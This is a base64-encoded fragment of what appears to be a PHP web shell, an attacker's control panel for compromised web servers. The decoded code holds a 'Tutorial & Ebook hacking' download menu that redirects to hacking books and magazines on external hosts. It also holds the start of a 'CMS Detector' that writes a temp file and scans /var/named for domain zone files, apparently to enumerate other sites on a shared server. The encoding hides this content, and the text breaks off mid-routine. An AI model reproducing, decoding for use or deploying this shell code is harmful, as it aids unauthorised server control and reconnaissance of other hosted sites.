AgICB7DQogICAgPz4NCgk8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4meD10dXRvciIgbWV0aG9kPSJwb3N0Ij4NCgk8Y2VudGVyPjxicj48YnI+PGI+LS09WyBUdXRvcmlhbCAmIEVib29rIGhhY2tpbmcgXT0tLTwvYj48YnI+DQoJCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KPHRhYmxlIGNsYXNzPSJ0YWJuZXQiIGJvcmRlcj0iMSIgPg0KPHRyPg0KCQk8dGQgYWxpZ249ImNlbnRlciI+RW5nbGlzaDwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPkluZG9uZXNpYW48L3RkPg0KCTwvdHI+DQoJPHRyPg0KCQk8dGQ+PGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+Jm5ic3A7DQoJRS1ib29rIEhhY2tpbmcgJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7OiZuYnNwOw0KCTxzZWxlY3QgY2xhc3M9ImlucHV0emJ1dCIgbmFtZT0icGlsaWgiIGlkPSJwaWxpaCI+DQoJPG9wdGlvbiB2YWx1ZT0iInNlbGVjdGVkPi0tLS0tLS0tLS0tLS0tLS0tWyBTZWxlY3QgXS0tLS0tLS0tLS0tLS0tLS0tPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0idHV0b3JpYWwyNCIgPiBIYWNraW5nIEV4cG9zZWQtNSA8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDI1Ij4gSW50ZXJuZXQgRGVuaWFsIE9mIFNlcnZpY2UgPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0idHV0b3JpYWwyNiI+Q29tcHV0ZXIgVmlydXNlcyBGb3IgRHVtbWllczwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9InR1dG9yaWFsMjciPkhhY2sgQXR0YWNrcyBUZXN0aW5nPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0idHV0b3JpYWwyOCI+U2VjcmV0cyBPZiBBIFN1cGVyIEhhY2tlcjwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9InR1dG9yaWFsMjkiPlN0ZWFsaW5nIFRoZSBOZXR3b3JrPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0idHV0b3JpYWwzMCI+SGFja2VyJ3MgSGFuZEJvb2s8L29wdGlvbj4NCgk8L3NlbGVjdD4NCgk8aW5wdXQgIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iRG93bmxvYWQiPg0KCTwvdGQ+PC9mb3JtPg0KPHRkPjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPiZuYnNwOw0KVHV0b3JpYWwgJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7OiZuYnNwOw0KCTxzZWxlY3QgY2xhc3M9ImlucHV0emJ1dCIgIG5hbWU9InBpbGloIiBpZD0icGlsaWgiPg0KCTxvcHRpb24gdmFsdWU9IiJzZWxlY3RlZD4tLS0tLS0tLS0tLS0tLS0tLVsgU2VsZWN0IF0tLS0tLS0tLS0tLS0tLS0tLTwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDIiPlNlYXJjaCBFbmdpbmUgSGFja2luZzwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDMiPlNRTCBJbmplY3Rpb24gZGVuZ2FuIGhhY2tiYXI8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0idHV0b3JpYWwxIiA+QnlwYXNzIFVuaW9uPC9vcHRpb24+DQoJPC9zZWxlY3Q+DQoJPGlucHV0ICB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgY2xhc3M9ImlucHV0emJ1dCIgdmFsdWU9IkRvd25sb2FkIj4NCjwvZm9ybT48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD4NCjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPiZuYnNwOw0KRS1Cb29rIGZyb20gU3lufGdyZXNzICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzombmJzcDsNCgk8c2VsZWN0IGNsYXNzPSJpbnB1dHpidXQiICBuYW1lPSJwaWxpaCIgaWQ9InBpbGloIj4NCgk8b3B0aW9uIHZhbHVlPSIic2VsZWN0ZWQ+LS0tLS0tLS0tLS0tLS0tLS1bIFNlbGVjdCBdLS0tLS0tLS0tLS0tLS0tLS08L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJjcnlwdG9ncmFwaHlfZm9yX2RlZmVsb3BlciI+Q3J5cHRvZ3JhcGh5IGZvciBEZXZlbG9wZXI8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDMxIj5Nb2JpbGUgTWFsd2FyZSBBdHRhY2sgYW5kIERlZmVuc2U8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJmb3JlbnNpYyI+Q0QgYW5kIERWRCBGb3JlbnNpYzwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9ImRkZCI+T3BlbiBTb3VyY2ggU2VjdXJpdHkgVG9vbHM8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJtZXRhc3Bsb2l0Ij5NZXRhc2xwb2l0IFRvb2xraXQ8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJzdGVhbGluZ19uZXR3b3JrIj5TdGVhbGluZyB0aGUgTmV0d29yazwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9InNlY3VyaXR5X3BvbGljZXMiPkNyZWF0aW5nIFNlY3VyaXR5IFBvbGljZXM8L29wdGlvbj4NCgk8L3NlbGVjdD4NCgk8aW5wdXQgIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iRG93bmxvYWQiPg0KPC9mb3JtPjwvdGQ+DQo8dGQ+DQo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4mbmJzcDsNClgtQ09ERSBNQUdBWklORSAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs6Jm5ic3A7DQoJPHNlbGVjdCBjbGFzcz0iaW5wdXR6YnV0IiBuYW1lPSJwaWxpaCIgaWQ9InBpbGloIj4NCgk8b3B0aW9uIHZhbHVlPSIic2VsZWN0ZWQ+LS0tLS0tLS0tLS0tLS0tLS1bIFNlbGVjdCBdLS0tLS0tLS0tLS0tLS0tLS08L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDQiPlgtQ09ERSBNQUdBWklORSAxPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0idHV0b3JpYWw1Ij5YLUNPREUgTUFHQVpJTkUgMjwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9InR1dG9yaWFsNiI+WC1DT0RFIE1BR0FaSU5FIDM8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDciPlgtQ09ERSBNQUdBWklORSA0PC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0idHV0b3JpYWw4Ij5YLUNPREUgTUFHQVpJTkUgNTwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9InR1dG9yaWFsOSI+WC1DT0RFIE1BR0FaSU5FIDY8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDEwIj5YLUNPREUgTUFHQVpJTkUgNzwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9InR1dG9yaWFsMTEiPlgtQ09ERSBNQUdBWklORSA4PC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0idHV0b3JpYWwxMiI+WC1DT0RFIE1BR0FaSU5FIDk8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDEzIj5YLUNPREUgTUFHQVpJTkUgMTA8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDE0Ij5YLUNPREUgTUFHQVpJTkUgMTE8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDE1Ij5YLUNPREUgTUFHQVpJTkUgMTI8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDE2Ij5YLUNPREUgTUFHQVpJTkUgMTM8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDE3Ij5YLUNPREUgTUFHQVpJTkUgMTQ8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDE4Ij5YLUNPREUgTUFHQVpJTkUgMTU8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDE5Ij5YLUNPREUgTUFHQVpJTkUgMTY8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDIwIj5YLUNPREUgTUFHQVpJTkUgMTc8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDIxIj5YLUNPREUgTUFHQVpJTkUgMTg8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDIyIj5YLUNPREUgTUFHQVpJTkUgMTk8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDIzIj5YLUNPREUgTUFHQVpJTkUgMjA8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJ0dXRvcmlhbDAyNCI+WC1DT0RFIE1BR0FaSU5FIDIxPC9vcHRpb24+DQoJPC9zZWxlY3Q+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iRG93bmxvYWQiID48L2E+DQo8L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+PGJyPjxicj4NCjw/cGhwDQokc3VibWl0ID0gJF9QT1NUIFsnc3VibWl0J107DQppZihpc3NldCgkc3VibWl0KSkgew0KCSRwaWxpaCA9ICRfUE9TVFsncGlsaWgnXTsNCgkJaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsMScpIHsNCgkJCT8+DQoJCQk8c2NyaXB0Pg0KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly93d3cucGhhcm1jb25zZWlsLWVsZWFybmluZy5jb20vbWFpbi91cGxvYWQvYnlfcGFzc2luZ19pbGxlZ2FsX21peF9vZl9jb2xsYXRpb25zX2Zvcl9vcGVyYXRpb25fX3VuaW9uX19ieV94XzFuNzNjdC5wZGYnOw0KCQkJPC9zY3JpcHQ+DQoJCQk8P3BocA0KCQl9DQoJCWVsc2VpZiAoICRwaWxpaCA9PSAndHV0b3JpYWwyJykgew0KCQkJPz4NCgkJCTxzY3JpcHQ+DQoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3d3dy5waGFybWNvbnNlaWwtZWxlYXJuaW5nLmNvbS9tYWluL3VwbG9hZC9TZWFyY2hfZW5naW5lX2hhY2tpbmdfYnlfeF8xbjczY3QucGRmJzsNCgkJCTwvc2NyaXB0Pg0KCQkJPD9waHANCgkJfQ0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsMycpIHsNCgkJCT8+DQoJCQk8c2NyaXB0Pg0KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly93d3cucGhhcm1jb25zZWlsLWVsZWFybmluZy5jb20vbWFpbi91cGxvYWQvU3FsX2luamVjdGlvbl9kZW5nYW5faGFja2Jhci5wZGYnOw0KCQkJPC9zY3JpcHQ+DQoJCQk8P3BocA0KCQl9DQoJCWVsc2VpZiAoICRwaWxpaCA9PSAndHV0b3JpYWw0Jykgew0KCQkJPz4NCgkJCTxzY3JpcHQ+DQoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3hjb2RlLm9yLmlkL2ZpbGVzL3hjb2RlX21hZ2F6aW5lXzEuemlwJzsNCgkJCTwvc2NyaXB0Pg0KCQkJPD9waHANCgkJfQ0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsNScpIHsNCgkJCT8+DQoJCQk8c2NyaXB0Pg0KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly94Y29kZS5vci5pZC9maWxlcy94Y29kZV9tYWdhemluZV8yLnppcCc7DQoJCQk8L3NjcmlwdD4NCgkJCTw/cGhwDQoJCX0NCgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDYnKSB7DQoJCQk/Pg0KCQkJPHNjcmlwdD4NCgkJCQlkb2N1bWVudC5sb2NhdGlvbiA9ICdodHRwOi8veGNvZGUub3IuaWQvZmlsZXMveGNvZGVfbWFnYXppbmVfMy56aXAnOw0KCQkJPC9zY3JpcHQ+DQoJCQk8P3BocA0KCQl9DQoJCWVsc2VpZiAoICRwaWxpaCA9PSAndHV0b3JpYWw3Jykgew0KCQkJPz4NCgkJCTxzY3JpcHQ+DQoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3hjb2RlLm9yLmlkL2ZpbGVzL3hjb2RlX21hZ2F6aW5lXzQuemlwJzsNCgkJCTwvc2NyaXB0Pg0KCQkJPD9waHANCgkJfQ0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsOCcpIHsNCgkJCT8+DQoJCQk8c2NyaXB0Pg0KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly94Y29kZS5vci5pZC9maWxlcy94Y29kZV9tYWdhemluZV81LnJhcic7DQoJCQk8L3NjcmlwdD4NCgkJCTw/cGhwDQoJCX0NCgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDknKSB7DQoJCQk/Pg0KCQkJPHNjcmlwdD4NCgkJCQlkb2N1bWVudC5sb2NhdGlvbiA9ICdodHRwOi8veGNvZGUub3IuaWQvZmlsZXMveGNvZGVfbWFnYXppbmVfNi5yYXInOw0KCQkJPC9zY3JpcHQ+DQoJCQk8P3BocA0KCQl9DQoJCWVsc2VpZiAoICRwaWxpaCA9PSAndHV0b3JpYWwxMCcpIHsNCgkJCT8+DQoJCQk8c2NyaXB0Pg0KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly94Y29kZS5vci5pZC9maWxlcy94Y29kZV9tYWdhemluZV83LnJhcic7DQoJCQk8L3NjcmlwdD4NCgkJCTw/cGhwDQoJCX0NCgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDExJykgew0KCQkJPz4NCgkJCTxzY3JpcHQ+DQoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3hjb2RlLm9yLmlkL2ZpbGVzL3hjb2RlX21hZ2F6aW5lXzgucmFyJzsNCgkJCTwvc2NyaXB0Pg0KCQkJPD9waHANCgkJfQ0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsMTInKSB7DQoJCQk/Pg0KCQkJPHNjcmlwdD4NCgkJCQlkb2N1bWVudC5sb2NhdGlvbiA9ICdodHRwOi8veGNvZGUub3IuaWQvZmlsZXMveGNvZGU5LnppcCc7DQoJCQk8L3NjcmlwdD4NCgkJCTw/cGhwDQoJCX0NCgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDEzJykgew0KCQkJPz4NCgkJCTxzY3JpcHQ+DQoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3hjb2RlLm9yLmlkL2ZpbGVzL3hjb2RlMTAuemlwJzsNCgkJCTwvc2NyaXB0Pg0KCQkJPD9waHANCgkJfQ0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsMTQnKSB7DQoJCQk/Pg0KCQkJPHNjcmlwdD4NCgkJCQlkb2N1bWVudC5sb2NhdGlvbiA9ICdodHRwOi8veGNvZGUub3IuaWQvZmlsZXMveGNvZGUxMS56aXAnOw0KCQkJPC9zY3JpcHQ+DQoJCQk8P3BocA0KCQl9DQoJCWVsc2VpZiAoICRwaWxpaCA9PSAndHV0b3JpYWwxNScpIHsNCgkJCT8+DQoJCQk8c2NyaXB0Pg0KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly94Y29kZS5vci5pZC9maWxlcy9YY29kZTEyLnppcCc7DQoJCQk8L3NjcmlwdD4NCgkJCTw/cGhwDQoJCX0NCgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDE2Jykgew0KCQkJPz4NCgkJCTxzY3JpcHQ+DQoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3hjb2RlLm9yLmlkL2ZpbGVzL1hjb2RlMTMuemlwJzsNCgkJCTwvc2NyaXB0Pg0KCQkJPD9waHANCgkJfQ0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsMTcnKSB7DQoJCQk/Pg0KCQkJPHNjcmlwdD4NCgkJCQlkb2N1bWVudC5sb2NhdGlvbiA9ICdodHRwOi8veGNvZGUub3IuaWQvZmlsZXMvWGNvZGUxNC56aXAnOw0KCQkJPC9zY3JpcHQ+DQoJCQk8P3BocA0KCQl9DQoJCWVsc2VpZiAoICRwaWxpaCA9PSAndHV0b3JpYWwxOCcpIHsNCgkJCT8+DQoJCQk8c2NyaXB0Pg0KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly94Y29kZS5vci5pZC9YY29kZTE1LnppcCc7DQoJCQk8L3NjcmlwdD4NCgkJCTw/cGhwDQoJCX0NCgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDE5Jykgew0KCQkJPz4NCgkJCTxzY3JpcHQ+DQoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3hjb2RlLm9yLmlkL3hjb2RlX21hZ2F6aW5lXzE2LnppcCc7DQoJCQk8L3NjcmlwdD4NCgkJCTw/cGhwDQoJCX0NCgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDIwJykgew0KCQkJPz4NCgkJCTxzY3JpcHQ+DQoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3hjb2RlLm9yLmlkL3hjb2RlX21hZ2F6aW5lXzE3LnppcCc7DQoJCQk8L3NjcmlwdD4NCgkJCTw/cGhwDQoJCX0NCgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDIxJykgew0KCQkJPz4NCgkJCTxzY3JpcHQ+DQoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3hjb2RlLm9yLmlkL3hjb2RlX21hZ2F6aW5lXzE4LnppcCc7DQoJCQk8L3NjcmlwdD4NCgkJCTw/cGhwDQoJCX0NCgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDIyJykgew0KCQkJPz4NCgkJCTxzY3JpcHQ+DQoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3hjb2RlLm9yLmlkL3hjb2RlX21hZ2F6aW5lXzE5LnppcCc7DQoJCQk8L3NjcmlwdD4NCgkJCTw/cGhwDQoJCX0NCgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDIzJykgew0KCQkJPz4NCgkJCTxzY3JpcHQ+DQoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3hjb2RlLm9yLmlkL3hjb2RlX21hZ2F6aW5lXzIwLnppcCc7DQoJCQk8L3NjcmlwdD4NCgkJCTw/cGhwDQoJCX0NCgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDAyNCcpIHsNCgkJCT8+DQoJCQk8c2NyaXB0Pg0KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly94Y29kZS5vci5pZC94Y29kZV9tYWdhemluZV8yMS56aXAnOw0KCQkJPC9zY3JpcHQ+DQoJCQk8P3BocA0KCQl9DQoJCQ0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsMjQnKSB7DQoJCQk/Pg0KCQkJPHNjcmlwdD4NCgkJCQlkb2N1bWVudC5sb2NhdGlvbiA9ICdodHRwOi8vd3d3Lmluc2VjdXJlLmluL2Vib29rcy9oYWNraW5nX2V4cG9zZWRfNS5yYXInOw0KCQkJPC9zY3JpcHQ+DQoJCQk8P3BocA0KCQl9DQoJCWVsc2VpZiAoICRwaWxpaCA9PSAndHV0b3JpYWwyNScpIHsNCgkJCT8+DQoJCQk8c2NyaXB0Pg0KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly93d3cuaW5zZWN1cmUuaW4vZWJvb2tzL2ludGVybmV0X2RlbmlhbF9vZl9zZXJ2aWNlLnJhcic7DQoJCQk8L3NjcmlwdD4NCgkJCTw/cGhwDQoJCX0NCgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDI2Jykgew0KCQkJPz4NCgkJCTxzY3JpcHQ+DQoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3d3dy5pbnNlY3VyZS5pbi9lYm9va3MvY29tcHV0ZXJfdmlydXNlc19mb3JfZHVtbWllcy5yYXInOw0KCQkJPC9zY3JpcHQ+DQoJCQk8P3BocA0KCQl9DQoJCWVsc2VpZiAoICRwaWxpaCA9PSAndHV0b3JpYWwyNycpIHsNCgkJCT8+DQoJCQk8c2NyaXB0Pg0KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly93d3cuaW5zZWN1cmUuaW4vZWJvb2tzL2hhY2tfYXR0YWNrc190ZXN0aW5nLnJhcic7DQoJCQk8L3NjcmlwdD4NCgkJCTw/cGhwDQoJCX0NCgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDI4Jykgew0KCQkJPz4NCgkJCTxzY3JpcHQ+DQoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3d3dy5pbnNlY3VyZS5pbi9lYm9va3Mvc2VjcmV0c19vZl9zdXBlcl9oYWNrZXIucmFyJzsNCgkJCTwvc2NyaXB0Pg0KCQkJPD9waHANCgkJfQ0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsMjknKSB7DQoJCQk/Pg0KCQkJPHNjcmlwdD4NCgkJCQlkb2N1bWVudC5sb2NhdGlvbiA9ICdodHRwOi8vd3d3Lmluc2VjdXJlLmluL2Vib29rcy9zdGVhbGluZ19uZXR3b3JrX2hvd190b19vd25fc2hhZG93LnJhcic7DQoJCQk8L3NjcmlwdD4NCgkJCTw/cGhwDQoJCX0NCgkJZWxzZWlmICggJHBpbGloID09ICd0dXRvcmlhbDMwJykgew0KCQkJPz4NCgkJCTxzY3JpcHQ+DQoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovL3d3dy5pbnNlY3VyZS5pbi9lYm9va3Mvd2ViYXBwX2hhY2tlcnNfaGFuZGJvb2sucmFyJzsNCgkJCTwvc2NyaXB0Pg0KCQkJPD9waHANCgkJfQ0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ2RkZCcpIHsNCgkJCT8+DQoJCQk8c2NyaXB0Pg0KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly8xOTkuOTEuMTUzLjk1L3Q4ZG5pN2s2MzloZy8zbzMyMWxjd3drOHU1YmgvT3Blbl9Tb3VyY2VfU2VjdXJpdHlfVG9vbHMucGRmJzsNCgkJCTwvc2NyaXB0Pg0KCQkJPD9waHANCgkJfQ0KCQllbHNlaWYgKCAkcGlsaWggPT0gJ3R1dG9yaWFsMzEnKSB7DQoJCQk/Pg0KCQkJPHNjcmlwdD4NCgkJCQlkb2N1bWVudC5sb2NhdGlvbiA9ICdodHRwOi8vMjA1LjE5Ni4xMjEuMTQ5L3NnMjJobThxamJoZy9hZnNhN2liYms0bnkya2QvTW9iaWxlX01hbHdhcmVfQXR0YWNrc19hbmRfRGVmZW5zZS5wZGYnOw0KCQkJPC9zY3JpcHQ+DQoJCQk8P3BocA0KCQl9DQoJCWVsc2VpZiAoICRwaWxpaCA9PSAnY3J5cHRvZ3JhcGh5X2Zvcl9kZWZlbG9wZXInKSB7DQoJCQk/Pg0KCQkJPHNjcmlwdD4NCgkJCQlkb2N1bWVudC5sb2NhdGlvbiA9ICdodHRwOi8vMjA1LjE5Ni4xMjEuMjQ4LzBzb2QzM3F3NjZ1Zy93eXB5ejU1NXNjOWJuN2gvQ3J5cHRvZ3JhcGh5X2Zvcl9EZXZlbG9wZXJzLnBkZic7DQoJCQk8L3NjcmlwdD4NCgkJCTw/cGhwDQoJCX0NCgkJZWxzZWlmICggJHBpbGloID09ICdmb3JlbnNpYycpIHsNCgkJCT8+DQoJCQk8c2NyaXB0Pg0KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly8yMDUuMTk2LjEyMC44NS91aXNlYmdtaW95amcvNmw3MGwwMGJhOXlva3NxL0NEX2FuZF9EVkRfRm9yZW5zaWNzLnBkZic7DQoJCQk8L3NjcmlwdD4NCgkJCTw/cGhwDQoJCX0NCgkJZWxzZWlmICggJHBpbGloID09ICdtZXRhc3Bsb2l0Jykgew0KCQkJPz4NCgkJCTxzY3JpcHQ+DQoJCQkJZG9jdW1lbnQubG9jYXRpb24gPSAnaHR0cDovLzE5OS45MS4xNTMuMTkyLzN0MTE1cDJmNmd2Zy96dnJyZGRtcTZpY3F0ZDIvTWV0YXNwbG9pdF9Ub29sa2l0LnBkZic7DQoJCQk8L3NjcmlwdD4NCgkJCTw/cGhwDQoJCX1lbHNlaWYgKCAkcGlsaWggPT0gJ3N0ZWFsaW5nX25ldHdvcmsnKSB7DQoJCQk/Pg0KCQkJPHNjcmlwdD4NCgkJCQlkb2N1bWVudC5sb2NhdGlvbiA9ICdodHRwOi8vMjA1LjE5Ni4xMjMuMTM4L3dic3hsdGI4cmJ0Zy81dm04YTFkMjNpOXpqZTMvU3RlYWxpbmdfdGhlX05ldHdvcmtfLV9Ib3dfdG9fT3duX3RoZV9Cb3gucGRmJzsNCgkJCTwvc2NyaXB0Pg0KCQkJPD9waHANCgkJfWVsc2VpZiAoICRwaWxpaCA9PSAnc2VjdXJpdHlfcG9saWNlcycpIHsNCgkJCT8+DQoJCQk8c2NyaXB0Pg0KCQkJCWRvY3VtZW50LmxvY2F0aW9uID0gJ2h0dHA6Ly8xOTkuOTEuMTUzLjczLzZsZTAxZjU2MmVoZy82bDVlcDAyMWRodmxobHEvQ3JlYXRpbmdfU2VjdXJpdHlfUG9saWNpZXNfYW5kX0ltcGxlbWVudGluZ19JZGVudGl0eV9NYW5hZ2VtZW50X3dpdGhfQWN0aXZlX0RpcmVjdG9yeS5wZGYnOw0KCQkJPC9zY3JpcHQ+DQoJCQk8P3BocA0KCQl9DQp9DQoNCn0NCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdjbXNfZGV0ZWN0JykpDQogICAgew0KICAgID8+DQogICAgPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+Jng9Y21zX2RldGVjdCIgbWV0aG9kPSJwb3N0Ij4NCgk8YnI+PGJyPjxicj48YnI+PGNlbnRlcj48Yj48Zm9udCBzaXplPTQ+LS09WyBDTVMgRGV0ZWN0b3IgXT0tLTwvZm9udD48L2I+PC9jZW50ZXI+PGJyPjxicj4NCiAgICA8P3BocA0KaWYoIWZpbGVfZXhpc3RzKCdwZWUudG1wJykpew0KQGZvcGVuKCdwZWUudG1wJywgJ3cnKTsNCg0KZWNobyc8dGFibGUgYWxpZ249ImNlbnRlciIgYm9yZGVyPSIxIiB3aWR0aD0iNDUlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjQiIGNsYXNzPSJ0ZDEiPic7DQplY2hvJzx0cj48dGQ+PGNlbnRlcj48Yj5TSVRFPC9iPjwvY2VudGVyPjwvdGQ+PHRkPjxjZW50ZXI+PGI+VVNFUjwvYj48L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPjxiPkNNUzwvYj48L2NlbnRlcj48L3RkPjwvdGFibGU+JzsNCg0KJHAgPSAwOw0KDQppZihpc19yZWFkYWJsZSgiL3Zhci9uYW1lZCIpKXsNCiRsaXN0ID0gc2NhbmRpcigiL3Zhci9uYW1lZCIpOw0KJGN1cnJlbnRfZGlyID0gcG9zaXhfZ2V0Y3dkKCk7DQokZGlyID0gZXhwbG9kZSgiLyIsJGN1cnJlbnRfZGlyKTsNCmZvcmVhY2goJGxpc3QgYXMgJGRvbWFpbil7DQppZihzdHJwb3MoJGRvbWFpbiwiLmRiIikpDQp7D